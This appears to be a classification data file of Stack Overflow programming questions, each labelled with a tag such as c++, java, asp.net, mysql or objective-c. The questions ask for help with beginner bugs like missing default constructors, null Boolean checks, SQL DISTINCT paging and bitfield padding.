why is a default ctor needed for this inner (nested) struct   i am trying to compile code similar to the snippet below:   <pre><code>class system { private:    struct configuration    {       configuration(/*params*/);       configuration(const configuration&amp;);       configuration&amp; operator=(const configuration&amp;);       ~configuration();        /* member variables */    } m_config;     explicit system(const configuration&amp; cfg);     // non copyable constructable  non assignable    system(const system&amp;);    system&amp; operator= (const system&amp;);  public:     system();     ~system();   }   //implementation system::system() {    m_config = configuration(/*default params*/);    // .... } </code></pre>   compiler error: <strong>no matching function for call to ‘system::configuration::configuration()’</strong>    when i provide (even merely a declaration not a definition of) a default constructor for the nested struct  the error dissapears - why !    misc details: gcc version 4.4.3 (ubuntu 4.4.3-4ubuntu5),c++
java: java.lang.nullpointerexception at booleanvalue()  i have function foo() that returns true/false/null.    i have this piece of code:   <pre><code>boolean flag = foo(); if (flag != null){ ..... } </code></pre>   when inspecting the <code>if</code> statement  i get the following exception: <code>java.lang.nullpointerexception at booleanvalue()</code>    seems that it tries to evaluate its primitive value and compare it . however  this is what i do not want it to do. i want to check whether it is initialized...    any ideas     thanks,java
object sender attribute value  i have a problem i want retrieve value of data-bound field reg_id in back-end on the event of radio button selection change. please tell me i am doing wrong.   <pre><code>&lt;asp:gridview id= gridview1  runat= server  class= gridview  autogeneratecolumns= false  datakeynames= reg_id  onrowcommand= gridview1_rowcommand &gt;                         &lt;columns&gt; &lt;asp:boundfield  datafield= reg_id  visible= false  /&gt;  &lt;asp:templatefield&gt; &lt;itemtemplate&gt;  &lt;div style= width:100px; float:left; &gt; &lt;asp:label id= label2  runat= server  text= &lt;%# bind( username ) %&gt;  &gt;&lt;/asp:label&gt; &lt;/div&gt;  &lt;div style= width:100px; float:left; &gt; &lt;asp:label id= label4  runat= server  text= &lt;%# bind( country ) %&gt;  &gt;&lt;/asp:label&gt; &lt;/div&gt;  &lt;div style= width:100px; float:left; &gt; &lt;asp:label id= label6  runat= server  text= &lt;%# bind( city ) %&gt;  &gt;&lt;/asp:label&gt; &lt;/div&gt;  &lt;div style= width:100px; float:left; &gt; &lt;asp:label id= label7  runat= server  text= &lt;%# bind( locality ) %&gt;  &gt;&lt;/asp:label&gt; &lt;/div&gt;  &lt;div style= width:100px; float:left; &gt; &lt;asp:label id= label5  runat= server  text= no of posts &gt;&lt;/asp:label&gt; &lt;/div&gt;  &lt;asp:radiobutton groupname= a  id= radiobutton1  runat= server  autopostback= true  oncheckedchanged= change_attributes  value= &lt;%#eval( reg_id )%&gt;   /&gt;  &lt;asp:radiobutton groupname= a  id= radiobutton2  runat= server  autopostback= true  /&gt;   &lt;/itemtemplate&gt;  &lt;/asp:templatefield&gt; &lt;/columns&gt;  &lt;/asp:gridview&gt; </code></pre>   back-end code: here i want retrieve value of data-bound field reg_id value by object sender value attributes.   <pre><code>for (int i = 0; i &lt; gridview1.rows.count; i++) {  radiobutton radio1 = (radiobutton)gridview1.rows[i].findcontrol( radiobutton1 );  radiobutton radio2 = (radiobutton)gridview1.rows[i].findcontrol( radiobutton2 );  string id =   ;  radiobutton btn = (radiobutton)sender;  id = btn.attributes.tostring();                } </code></pre>,asp.net
android:parentactivityname doesn t work although android-support-v4.jar is included  i ve included the android-support-v4.jar library to use  android:parentactivityname= com.myapp.example.mainactivity . it s included in  android  dependencies  and  referenced libraries   but it still doesn t work ->   <blockquote>    error: no resource identifier found for attribute  parentactivityname    in package  android   </blockquote>   any suggestions    <pre><code>    &lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.myapp.example      android:versioncode= 1      android:versionname= 1.0  &gt;      &lt;uses-sdk         android:minsdkversion= 14          android:targetsdkversion= 17  /&gt;      &lt;uses-permission android:name= android.permission.access_coarse_location  /&gt;     &lt;uses-permission android:name= android.permission.access_fine_location  /&gt;     &lt;uses-permission android:name= android.permission.access_wifi_state  /&gt;     &lt;uses-permission android:name= android.permission.access_network_state  /&gt;     &lt;uses-permission android:name= android.permission.internet  /&gt;     &lt;uses-permission android:name= android.permission.write_external_storage  /&gt;      &lt;uses-feature android:name= android.hardware.location.network  /&gt;     &lt;uses-feature android:name= android.hardware.location.gps  /&gt;     &lt;uses-feature android:name= android.hardware.wifi  /&gt;      &lt;application         android:allowbackup= true          android:icon= @drawable/ic_launcher          android:label= @string/app_name          android:theme= @style/apptheme  &gt;          &lt;activity             android:name= com.myapp.example.mainactivity              android:configchanges= keyboardhidden|orientation|screensize              android:label= @string/app_name              android:uioptions= splitactionbarwhennarrow  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;action android:name= android.intent.action.search  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;activity             android:name= com.myapp.example.aboutusactivity              android:configchanges= keyboardhidden|orientation|screensize              android:label= @string/aboutus               android:parentactivityname= com.myapp.example.mainactivity  &gt;             &lt;meta-data                 android:name= android.support.parent_activity                  android:value= com.myapp.example.mainactivity  /&gt;         &lt;/activity&gt;      &lt;/application&gt;  &lt;/manifest&gt; </code></pre>,android
i m trying to create a blackjack game in java.(ready to program ide) how do i turn an 11 into a 1 like i m trying to do below   this is my entire code. i can t seem to find a way to pick out the aces and turn them into 1s if the total goes over 21.     /*********************************************************************************************************************************************************************   <pre><code>name: blackjack_mason_haddock  description: the famous known game  blackjack  created in java.  history: nov 16 2016 / m. haddock / created: code skeleton nov 17 2016 / m. haddock / created: random number generator from 1 to 10    *********************************************************************************************************************************************************************/ import java.awt.*;              // used in graphics import java.awt.event.*;        // for mouse stuff import java.applet.*;           // for mouse/music stuff import java.io.*;               // for input and output import java.util.*;             // for date and time stuff import java.lang.*;             // for point stuff  import hsa.console;             // special console input output commands    class blackjack_mason_haddock {     public static void title (console c)     {      }       public static void game (console c)     {         int givennumber[] = new int [52];   // makes an empty array of integers of 52. used for 52 cards in the deck         int i;                              // used for any for loops of drawing cards         int total = 0;                      // sets a base number for the total number of card scores         char next;                          // used to catch the first letter of the string  string          string string;                      // used for a string given by the user         int ace = 11;                       // setting aces to 11         int ace2 = 1;                       // setting aces to 1 if 11 is over 21           for (i = 0 ; i &lt; 1 ; i++)  // runs through the code below twice  once at a time.         {             givennumber [i] = (int) (math.random () * (11 - 1)) + 1;    // picks a random number from 1 to 10             c.print (givennumber [i] +    );                            // outputs the random number picked above  adds a space for the second number             total = total + givennumber [i];              if ((total &lt; 22) &amp;&amp; (givennumber [i] == 1))             {                 givennumber [i] = ace;                 total = total + 10;              }              if ((total &gt; 21) &amp;&amp; (givennumber [i] == ace))             {                 givennumber [i] = ace2;             }              givennumber [i] = (int) (math.random () * (11 - 1)) + 1;    // picks a random number from 1 to 10             c.print (givennumber [i] +    );                            // outputs the random number picked above  adds a space for the second number             total = total + givennumber [i];             for (i = 0 ; i &lt; 51 ; i++)             {                 if ((total &lt; 22) &amp;&amp; (givennumber [i] == 1))                 {                     givennumber [i] = ace;                     total = total + 10;                  }             }             for (i = 0 ; i &lt; 51 ; i++)             {                  if ((total &gt; 21) &amp;&amp; (givennumber [i] == ace))                 {                     givennumber [i] = ace2;                 }             }             if (total == 21)                  {                     c.print ( blackjack! you win! );                     return;                 }               do             {                  c.println (  );                 c.print ( will you hit or stand  );                 c.println (  );                  string = c.readstring ();                 next = string.charat (0);                  c.println (  );                   if ((total &lt; 21) &amp;&amp; (next ==  s ) || (next ==  s ))                 {                     c.print ( you stand at   + total);                     return;                 }                 else if ((total &lt; 21) &amp;&amp; (next ==  h ) || (next ==  h ))                 {                      givennumber [i] = (int) (math.random () * (11 - 1)) + 1;                     c.print (givennumber [i] +    );                     for (i = 0 ; i &lt; 51 ; i++)                     {                         if ((total &gt; 22) &amp;&amp; (givennumber [i] == 11))                         {                             total = total - 10;                          }                      }                     total = total + givennumber [i];                     c.println (  );                     c.print ( total   + total +    );                      if (total == 21)                     {                         c.print ( you win! );                         return;                      }                     if (total &gt; 21)                     {                         c.println (  );                         c.print ( you bust! );                         return;                     }                 } //end of the if statement             } //end of the for statement              while (true);          }      }        public static void main (string[] args)     {         console c = new console (32  167   blackjack );         title (c);         game (c);     } } </code></pre>,java
how can i avoid bad input from a user   i am a very newbie programmer  so i don t really know much about writing code to protect the application.. basically  i created a basicmath.h file and created a do while loop to make a very basic console calculator (only two floats are passed through the functions).  i use a series of if and else if statements to determine what the users wants to do. (1.add  2.subtract  3.multiply  4.divide) i used a else { cout &lt;&lt;  invalid input  &lt;&lt; endl;} to protect against any other values  but then i tried to actually write a letter  and the program entered a infinite loop.  is there anyway to protect against users who accidentally hit a character instead of a number     <pre><code> `#include &lt;iostream&gt;   #include  basicmath.h     using namespace std;   char tryagain =  y ;   float numone = 0  numtwo = 0;   int options = 0;   int main()   {    cout &lt;&lt;  welcome to my calculator program.  &lt;&lt; endl;  cout &lt;&lt;  this will be a basic calculator.  &lt;&lt; endl;  do{     cout &lt;&lt;  what would you like to do   &lt;&lt; endl;     cout &lt;&lt;  1. addition.  &lt;&lt; endl;     cout &lt;&lt;  2. subtraction.  &lt;&lt; endl;     cout &lt;&lt;  3. multiplication  &lt;&lt; endl;     cout &lt;&lt;  4. division.  &lt;&lt; endl;     cin &gt;&gt; options;     if (options == 1){         cout &lt;&lt;  enter your first number.  &lt;&lt; endl;         cin &gt;&gt; numone;         cout &lt;&lt;  enter your second number.  &lt;&lt; endl;         cin &gt;&gt; numtwo;         cout &lt;&lt; numone &lt;&lt;   +   &lt;&lt; numtwo &lt;&lt;   =   &lt;&lt; add(numone  numtwo) &lt;&lt; endl;     }     else if (options == 2){         cout &lt;&lt;  enter your first number.  &lt;&lt; endl;         cin &gt;&gt; numone;         cout &lt;&lt;  enter your second number.  &lt;&lt; endl;         cin &gt;&gt; numtwo;         cout &lt;&lt; numone &lt;&lt;   -   &lt;&lt; numtwo &lt;&lt;   =   &lt;&lt; subtract(numone  numtwo) &lt;&lt; endl;     }     else if (options == 3){         cout &lt;&lt;  enter your first number.  &lt;&lt; endl;         cin &gt;&gt; numone;         cout &lt;&lt;  enter your second number.  &lt;&lt; endl;         cin &gt;&gt; numtwo;         cout &lt;&lt; numone &lt;&lt;   *   &lt;&lt; numtwo &lt;&lt;   =   &lt;&lt; multiply(numone  numtwo) &lt;&lt; endl;     }     else if (options == 4){         cout &lt;&lt;  enter your first number.  &lt;&lt; endl;         cin &gt;&gt; numone;         cout &lt;&lt;  enter your second number.  &lt;&lt; endl;         cin &gt;&gt; numtwo;         cout &lt;&lt; numone &lt;&lt;   /   &lt;&lt; numtwo &lt;&lt;   =   &lt;&lt; divide(numone  numtwo) &lt;&lt; endl;     }     else {         cout &lt;&lt;  error  invalid option input.  &lt;&lt; endl;     }     cout &lt;&lt;  would you like to use this calculator again  (y/n)  &lt;&lt; endl;     cin &gt;&gt; tryagain; }while (tryagain ==  y ); cout &lt;&lt;  thank you for using my basic calculator!  &lt;&lt; endl; return 0; }  ` </code></pre>,c++
parent doesn t grow for added scrollbar width in firefox  when the child dictates the width of a parent which has overflow: auto  firefox doesn t allow space for the added width of a scrollbar (15px) which leaves the child getting cut off and an overflow-x to appear on the parent.    what s the best way to fix this issue     <a href= https://codepen.io/rhysyg03/pen/wrkqjg  rel= nofollow noreferrer >https://codepen.io/rhysyg03/pen/wrkqjg</a>   <pre><code>.content {   position: absolute;   overflow-y: auto;   min-width:150px;   max-height: 300px;   padding: 8px;   background:white;   border:1px solid rgba(0 0 0 .12); } </code></pre>   for example  adding padding-right: 15px fixes the issue but then leaves the other browser s with an extra 15px.    or adding a fixed width to the parent fixes issue but then you re bound to a fixed width restriction and i want to leave the parent flexible.    or adding overflow-x: hidden hides the scrollbar  but leaves the child cut off.    update: display: flex on parent fixes the issue for regular widths (ie: an image) but not the widths set by text with whitespace: nowrap.    thanks.    firefox:    <a href= https://i.stack.imgur.com/loxjv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/loxjv.png  alt= enter image description here ></a>    chrome:    <a href= https://i.stack.imgur.com/fv7jq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fv7jq.png  alt= enter image description here ></a>,css
redefinition of as a different kind of symbol in objective-c  we have a class <code>waypoint</code>. but at some point  we decided to rename the class to <code>placemark</code>. however  we don t really want to change the name of the class because it will result in a lot of modification of the existing code. therefore  i added one line of <code>typedef</code> at the bottom of the header file and start using <code>placemark</code> in any new code happily ever since.    <pre><code>@interface waypoint : _waypoint @end typedef waypoint placemark; </code></pre>   but there is still one thing that i don t understand. if i try to use the forward definition in some other header file. i can only used:   <pre><code>@class waypoint; </code></pre>   if i use:   <pre><code>@class placemark; </code></pre>   i will get the error message:    <blockquote>    redefinition of  placemark  as a different kind of symbol  </blockquote>   why,objective-c
mysql in() clause multiple returns  i have a special data environment where i need to be returned data in a certain way to populate a table.    this is my current query:   <pre><code>select    bs_id     if(bs_board = 0   all boards   (select b_name from certboards where b_id in (replace(bs_board   ;      )))) as board  from boardsubs </code></pre>   as you can see i have an <code>if</code> statement then a special subselect.    the reason i have this is that the field <code>bs_board</code> is a <code>varchar</code> field containing multiple row ids like so:   <pre><code>1;2;6;17 </code></pre>   so  the query like it is works fine  but it only returns the first matched <code>b_name</code>. i need it to return all matches.  for instance in this was <code>1;2</code> it should return two boards <code>board 1</code> and <code>board 2</code> in the same column. later i can deal with adding a <code>&lt;br&gt;</code> in between each result.    but the problem i am dealing with is that it has to come back in a single column both name  or all names since the field can contain as many as the original editor selected.,mysql
is it necessary to initialize a string in c++   i am using string in c++. and i am getting unusual answers sometimes if i don t initialize strings.    what is good practice don t initialize the string or if it has to be initialized what is the best way to do it,c++
is arraylist/list a thread safe collection  if not how would you make it thread safe   is arraylist/list a thread safe collection  if not how would you make it thread safe,c#
html textbox required on button click <pre><code>&lt;b&gt;gebruikersnaam:&lt;/b&gt;&lt;br&gt; &lt;input id= textbox  type= text  value=   size= 25  required&gt; &lt;a id= googlelink  href= ##klik nu om member te kopen##    onclick= this.href= https://websitelink.com naam=  + encodeuricomponent(document.getelementbyid( textbox ).value); &gt;   &lt;button&gt;koop: member&lt;/button&gt; &lt;/a&gt; </code></pre>   i want: <code>&lt;input id= textbox  type= text  value=   size= 25  required&gt;</code>    to be required when i click:   <code>&lt;button&gt;koop: member&lt;/button&gt;</code>    like: if <code>&lt;input id= textbox  type= text  value=   size= 25  required&gt;</code> value=      its shows an alert like:  no username entered     fixed  thx lepanto,html
why is virtual function not being called  <pre><code>//guitext class guitext : public entity { public:     guitext(graphics *gfx  std::string _text  float _x  float _y           float _size  float timetolive);     bool update(float deltatime  gameworld *world);     void draw(graphics *gfx); };  void guitext::draw(graphics *gfx) { printf( draw ); }  //entity  class entity { public:     virtual bool update(float deltatime  gameworld *world)          { return false; }     virtual void draw(graphics *gfx) { } };  //gameworld  void gameworld::addentity(entity e) { entitys.push_back(e); }  //main   for(int i = 0; i &lt; (int)entitys.size(); i++) { entitys[i].draw(gfx); } </code></pre>   i have a vector in my gameworld class. when i add push a guitext entity to this vector i expect it to call the guitext::draw() function. but the base class function is being called. what am i doing wrong,c++
removing big amount of data  <strong>==========problem==========</strong>    i am trying to delete a folder that contains a lot of data (mp3  images  xml  ect.). at the moment i am doing it via <code>fileutils.removedirectory()</code> from <code>commons-io</code> library. the problem is that when i m doing it  it basically freezes my app. is there a way to do it more efficient  or less painfully     <strong>=========code==========</strong>   <pre><code>@override protected string doinbackground(void... params) {     string error = null;     try {         file internaldata = new file(context.getfilesdir().getparentfile().getpath() +  /download/ );         fileutils.deletedirectory(internaldata);         file externaldata = new file(context.getexternalfilesdir(null).getpath() +  /media/ );         fileutils.deletedirectory(externaldata);         externaldata.delete();     } catch (ioexception e) {         e.printstacktrace();         error = e.getmessage();     }     return error; } </code></pre>,android
euclid algorithm in objective c <pre><code>#import &lt;foundation/foundation.h&gt;  int main(int argc  const char * argv[]) {     @autoreleasepool {          unsigned int u;         unsigned int v;         unsigned int temp;           nslog(@ enter two numbers:  );         scanf( %u%u   &amp;u   &amp;v);          while (v != 0)         {             temp = u % v;             u = v;             v = temp;         }           nslog(@  greatest common factor: %u    u);     }     return 0; } </code></pre>   the above program requires the user to input two integers. it then calculates greatest common divisor.   <ul> <li>case 1: if a user in inputs <code>10 2</code> as the two values the answer is 2 </li> <li>case 2: what if the user reverses the integer to <code>2 10</code>  ( answer is still 2)</li> </ul>   in the first case:  <code>u = 2</code> since <code>v = 2</code>  but in the second case  <code>u = 10</code> since <code>v = 10</code>    my question is why do i still get 2 as the answer of the second case  i will appreciate it if anyone can help me understand this concept.,objective-c
how to change the background color of navigation bar in a modal view   i present a modal view when i click a cell in my custom tableview. how to change the background color of navigation bar in a modal view  for example. i want to change it to black color.the following code do not work in the prepare segue method.   <pre><code>[destinationnavcontroller.navigationbar setbackgroundcolor:[uicolor blackcolor]]; </code></pre>   or   <pre><code> [[uinavigationbar appearance]setbackgroundcolor:[uicolor blackcolor]]; </code></pre>   or   <pre><code> [destinationnavcontroller.navigationbar settintcolor:[uicolor blackcolor]]; </code></pre>   in the viewdidload method of the destination controller view i write   <pre><code>[self.navigationcontroller.navigationbar setbackgroundcolor:[uicolor blackcolor]]; </code></pre>   or   <pre><code> [[uinavigationbar appearance]setbackgroundcolor:[uicolor blackcolor]]; </code></pre>   or   <pre><code> [self.navigationcontroller.navigationbar settintcolor:[uicolor blackcolor]];// only change the navigation item text color.... </code></pre>   any other ideas,ios
word file downloaded from browser tab with incorrect file name  i am trying to open a <code>.docx</code> file on browser but it gets downloaded. this is fine but the downloaded <code>.docx</code> file name is incorrect.    i am using chrome browser and asp.net c# code.    suppose the file is in network path <code>//test/test.docx</code> and aspx file name <code>downloadtest.aspx</code> which has the download word doc code. when it gets downloaded  the file name is <code>downloadtest.docx</code> and not <code>test.docx</code>.    below is the code.   <pre><code>if (!this.ispostback) {     string filepath = request.querystring[ fn ];     page.title = filepath;      this.response.clearcontent();     this.response.contenttype =  application/vnd.openxmlformats-officedocument.wordprocessingml.document ;     this.response.appendheader( content-disposition;    attachment;filename=  + request.querystring[ fn ]);      this.response.writefile(filepath);     this.response.end(); } </code></pre>,asp.net
how can i dock a text area inside a div  i have a textarea inside a div.    what property should i set so that the textarea is docked to all sides of the div  in other words  how can the text area fill the space inside the div     i started writing javascript but there must be a simpler option.,html
java way to count how many getters in bean that are not null  ok i have a bean list and i can do <code>beans.size()</code> to get how many rows i got.....but i need to dynamically know how many columns of data i have before i send to the jsp.    the maximum # of getters i have in the bean is 10....    is there a way to do this      would i have to do a loop on the list and do a <code>if</code> check on all the getters and increment,java
parse text files using python  i have a log file that i would like to parse and plot using matplotlib. after skipping the first 6 lines  i have data of interest. e.g. my log file looks like this:    <pre><code># 2014-05-09 17:51:50 473 - root - info - epoch = 1  batch = 216  classif err = 52.926  lg(p) -1.0350 # 2014-05-09 17:51:53 749 - root - info - test set error = 37.2317 </code></pre>   i want to make a plot of the classif err vs test set error for each epoch.    my first attempt at this:   <pre><code>import numpy from numpy import * from pylab import *  f1 = open( log.txt    r ) file = f1.readlines() f1.close()  for line in file:     line = line.strip()     if ( epoch  in line):         epoch += line.split( epoch =  )     elif( test set error  in line):         test_err += line.split( test set error =  ) </code></pre>   i see this error:   <pre><code>traceback (most recent call last):   file  logfileparse.py   line 18  in &lt;module&gt;     epoch += line.split( epoch =  ) nameerror: name  epoch  is not defined </code></pre>,python
synchronizing multiple views in angular  for the past few days we have been writing a new angular.js based front-end for our rest-service. so far things are moving along nicely and we have built lots of small pages and components.    we are now starting to integrate these things into a complete application and are wondering how to handle the main view based on two different menu s.    we would like to have all these three components change based on some global state. ideally controlled by the <code>$routeprovider</code> based on the url.    we can think of several ways to do this. however none of them seem right and we have found no clear documentation on how the developers of angular envisioned this being done.    some reduced snippets:    index.html   <pre><code>&lt;!doctype html&gt; &lt;html data-ng-app= myapp &gt; &lt;head&gt;     ....snip... &lt;/head&gt; &lt;body&gt;     &lt;div id= system-menu  data-ng-controller= menuctrl  data-ng-include=  partials/menu/system.html  &gt;&lt;/div&gt;     &lt;div id= main &gt;         &lt;div id= main-menu  data-ng-controller= menuctrl  data-ng-include=  partials/menu/main.html  &gt;&lt;/div&gt;         &lt;div id= content  data-ng-view&gt;&lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>   app.js   <pre><code>var myapp = angular.module( myapp   [ ngresource    ui ]).     config([ $routeprovider   function($routeprovider) {         $routeprovider.             when( /messages   {                 templateurl:  partials/messages.html                   controller: messagesctrl             }).             when( /messages/:messageid   {                 templateurl:  partials/messages.html                   controller: messagesctrl             }).             ...snip...             otherwise({                 redirectto:  /messages          });     }]); </code></pre>   when the user clicks a link to /messages/1 i want the controller messagesctrl to be used for the view. this is easy and works as posted above. however my menuctrl does not  notice  this happening  and <strong>manually broadcasting</strong> a message to let it know of the page change so it can show the sub-menu seems ugly to me. because the only reason for this message would be to update the menu causing some unwanted knowledge of the other controller.    so far we like the documentation on angular.js but it seems to be lacking in the big-picture department.    can anyone provide us with a link or some pointers on the idiomatic way to do this,angularjs
mysql and distinct usage  hey i have a piece of code that works great. but when i use distinct as per   <pre><code>&lt; php $category = $_get[ state ]; if (isset($_get[ page ])) { $page  = $_get[ page ]; } else { $page=1; };   $start_from = ($page-1) * $results_per_page; $sql =  select distinct city      from $datatable      where state= $category      order by city asc limit $start_from  $results_per_page  ; $rs_result = $conn-&gt;query($sql);   &gt;  &lt;table border= 1  cellpadding= 4  width= 100% &gt; &lt;tr&gt;  &lt; php   while($row = $rs_result-&gt;fetch_assoc()) {  &gt;              &lt;tr&gt;              &lt;td&gt; &lt;a href= browsepage2.php state=&lt;  echo $row[ state ];  &gt;&amp;city=&lt;  echo $row[ city ];  &gt;  &gt;&lt;  echo $row[ city ];  &gt;&lt;/a&gt;&lt;/td&gt;              &lt;/tr&gt; &lt; php  };   &gt;  &lt;/table&gt; </code></pre>   the next page the rows wont show  i m unsure of the problem. the next page s code is as follows.   <pre><code>&lt; php $category = $_get[ state ]; $city= $_get[ city ]; if (isset($_get[ page ])) { $page  = $_get[ page ]; } else { $page=1; };   $start_from = ($page-1) * $results_per_page; $sql =  select *     from $datatable      where state= $category      and city= $city      order by provname asc limit $start_from  $results_per_page  ; $rs_result = $conn-&gt;query($sql);   &gt;  &lt;table border= 1  cellpadding= 4  width= 100% &gt; &lt;tr&gt;  &lt; php   while($row = $rs_result-&gt;fetch_assoc()) {  &gt;              &lt;tr&gt;              &lt;td&gt; &lt;a href= browsepage2.php state=&lt;  echo $row[ state ];  &gt;&amp;city=&lt;  echo $row[ city ];  &gt;&amp;shop=&lt;  echo $row[ provname ];  &gt;  &gt;&lt;  echo $row[ provname ];  &gt;&lt;/a&gt;&lt;/td&gt;              &lt;/tr&gt; &lt; php  };   &gt;  &lt;/table&gt; </code></pre>   i m kind of unsure where the problem is but i can make it work if i don t use distinct.,mysql
how to check that bitfields span all the bits  i have a structure which looks like this:   <pre><code>#include &lt;stdint.h&gt;  struct bits {     uint8_t u_     : 1;     uint8_t k_     : 1;     uint8_t c_     : 1;      uint8_t x_     : 1;     uint8_t b_     : 1;      uint8_t ns_    : 1;     uint8_t ms_    : 1;     uint8_t as_    : 1;     uint8_t /*padding1*/ : 0;      uint8_t st_    : 3;     uint8_t su_    : 1;     uint8_t ig_    : 1;      uint8_t h_     : 1;     uint8_t in_    : 1;      uint8_t pad2_  : 1;      bits_t(uint8_t u  uint8_t k  uint8_t c  uint8_t x  uint8_t b             uint8_t n  uint8_t m  uint8_t a  uint8_t s  uint8_t i             bool h  bool in)        : u_    { u }          k_    { k }          c_    { c }          x_    { x }          b_    { b }          ns_   { n }          ms_   { m }          as_   { a }          st_   { 0 }          su_   { s }          ig_   { i }          h_    { h }          in_   { in }          pad2_ { 0 } // carefully initialize all bits     {} }; </code></pre>   these structs have an <code>operator==</code> using <code>memcmp</code>  so it s important that all bits are set to a known value in the constructor.    recently  i realized that <code>h_</code> and <code>in_</code> are doing the same thing except in reverse  i.e. <code>assert(h_ == !in_)</code> always holds true. i m about to remove <code>h_</code> and i d like some compile-time check that would warn me that <code>pad2_</code> needs to be extended from <code>: 1</code> to <code>: 2</code>.     is this possible  i couldn t think of anything (<code>sizeof(bits)</code> would be the same with or without the <code>h_</code> field).,c++
how to add to table select checkboxes as a columns  here i had popup with checkboxes  when i selected checkbox in table1 based on indexes displayed  in  table2  with in popup   those should add the as column in outside of the popup table.    (popup window having multiple checkboxes  i have to select couple of checkboxes and click the submit button to add column in table)    in my below code  adding to the table which is outside of the popup table not workin on button click   <pre><code>var cell = $(this).parent( td ); var row = $(cell).parent( tr ); var rowindex = $( #popout th[id=  + thisid +  ] ).index(); var columnindex = (rowindex); var tblcolumnscount = $( #popout td ).length; if $( #popout td ).length == 0) {     var colselect = 1;     $( #popout td #tblkplitemlist th ).addclass( hide );     $( #popout-l td #tblkplitemlist-sticky th ).addclass( hide );     $( #popout  tblkplitemlist-sticky ).removeclass( hide );     $( #popout td:nth-child(  + (colselect + 1) +  ) #popout th:nth-child(  + (colselect + 1) +  ) ).removeclass( hide );     $( #popout-l td:nth-child(  + (colselect + 1) +  ) #popout-l th:nth-child(  + (colselect + 1) +  ) ).removeclass( hide ); }  if (checked) {     var fid = $(this).closest( table ).attr( id );     if (fid ==  columnsselect ) {         var checkedrow = $(this).closest( tr ).html();         $( #tblpopup2 tbody ).append( &lt;tr class=   + thisid +   &gt;  + checkedrow +  &lt;/tr&gt; );         $( #tblpopup2 tbody input ).attr( checked    checked );     } $( #popout td:nth-child(  + (columnindex + 1) +  ) .display th:nth-child(  + (columnindex + 1) +  ) ).removeclass( hide ); $( #popout-l td:nth-child(  + (columnindex + 1) +  ) #popout-l th:nth-child(  + (columnindex + 1) +  ) ).removeclass( hide ); </code></pre>,jquery
how to color in grid cell different values  i need to distinguish ten consecutive cells.    each one in a row  if they have different values  when databindind the values to a gridview.    so this cells have different value. if this cells value is  &lt;=3 then color is red and cells value >3 color is green.    i need  to color each cell using for loop condition.please any person tells me this solutions.what is the best way to do it,asp.net
nameerror: name  number  is not defined  i have a code like below   <pre><code>a=25 b=20 #number=0 if a &lt; b == true:     number = 1 elif a &gt;b == true:     number = 2 print(number) </code></pre>   when i execute this i get the following error   <pre><code>nameerror: name  number  is not defined </code></pre>   when i initialize the <code>number = 0</code> like below   <pre><code>a=25 b=20 number=0 if a &lt; b == true:     number = 1 elif a &gt;b == true:     number = 2 print(number) </code></pre>   then i am not getting the output as <code>2</code>  i am getting <code>0</code> instead  what am i missing here,python
setting avaudioplayerdelegate to self gives me a warning <pre><code> __strong  only applies to objective-c object or block pointer types; type here is  void *  </code></pre>   this the  __strong  line in my avaudioplayer.h file (which is an imported framework)   <pre><code>@interface avaudioplayer : nsobject { @private     __strong void *_impl; } </code></pre>   my .h file looks like this   <pre><code>#import &lt;uikit/uikit.h&gt; #import &lt;avfoundation/avaudioplayer.h&gt;  @interface excerviewcontroller : uiviewcontroller &lt;avaudioplayerdelegate uiaccelerometerdelegate&gt;   @property (weak  nonatomic) iboutlet uilabel *avglabel; @property (weak  nonatomic) iboutlet uilabel *modelabel; @property (weak  nonatomic) iboutlet uilabel *scorelabel; @property (weak  nonatomic) iboutlet uilabel *timelabel; @property (weak  nonatomic) iboutlet uibutton *playbutton; @property int subscore; @property int score; @property int seconds; @property int moments; @property nsmutablestring *average; @property double avg; @property bool locked; @property double delta; @property uiaccelerometer *accel; @property avaudioplayer *player; -(void)drawenergy:(double)energy; @end </code></pre>   i can t for the life of me figure out why i m getting this error. one other person on stackoverflow had this issue  and it isn t the reason i m getting it ( <a href= https://stackoverflow.com/questions/9430933/strong-only-applies-to-objective-c-object-or-block-pointer-types-type-here >&#39;__strong&#39; only applies to objective-c object or block pointer types; type here is xxx&quot; warning</a>),objective-c
sending mail before changing header location  from php.net:   <pre><code>&lt;html&gt; &lt; php /* this will give an error. note the output  * above  which is before the header() call */ header( location: http://www.example.com/ );  &gt; </code></pre>   is it ok to read cookies and use mail() before changing header location,php
disable dynamic button in gridview row databound  i want to disable button control which is bound to that grid. i m using   btntestmod.enabled=false; but it is showing   system.nullreferenceexception: object reference not set to an instance of an object.    please suggest to correct.   <pre><code>protected void gvrootmodule_rowdatabound(object sender  gridviewroweventargs e)     {       if (e.row.rowtype == datacontrolrowtype.datarow)         {             button btntestmod = ((button)e.row.findcontrol( btnlessontest ));         }     } </code></pre>,asp.net
how to use relative path in java with example  can any one please explain relative how to use path throw command prompt     my directory      <code>e:development/app1/src/abc</code> i stored <code>.java</code> file in <code>abc</code> folder i want to generate <code>.class</code> file to this directory <code>e:development/app1/classes</code>,java
float [] array problem in objective c  i am coding in xcode by objective c. i came up with a problem.  i want to try like    <pre><code>declare float[] weights;  </code></pre>   results looks like this   <pre><code>weight[0] = 0.5 weight[1] = 0.4 weight[2] = 0.9 </code></pre>   a.h   <pre><code>nsmutablearray *weight; </code></pre>   a.m   <pre><code>weights = [nsmutablearray array];  for(int i=0; i &lt; 4; i++) {     float randomnumber = arc4random() % 11;     [weights addobject:[[nsnumber alloc] initwithfloat:randomnumber]];     nslog(@  for loops color prob weghts=%f  [weights objectatindex:i] );  } </code></pre>   i don t know what is wrong with this code. please help me to find out     when i print it by nslog   all [weight = 0.000]  and also how do i access like [weight floatvalue].     secondly  when i create this class to another class there are weight [0] [1] [2] [3] and no values,objective-c
issue with input & select tag height in form  hi i am making a form so the problem is when i am giving the same height &amp; width to input &amp; select tag so the select tag is not taking the same height like input tag.....    can you suggest me what exactly the problem and the only one pixel difference in height of select tag....    here is the demo where you will get a idea about the problem :- <a href= http://jsfiddle.net/rcnqa/12/  rel= noreferrer >http://jsfiddle.net/rcnqa/12/</a>,css
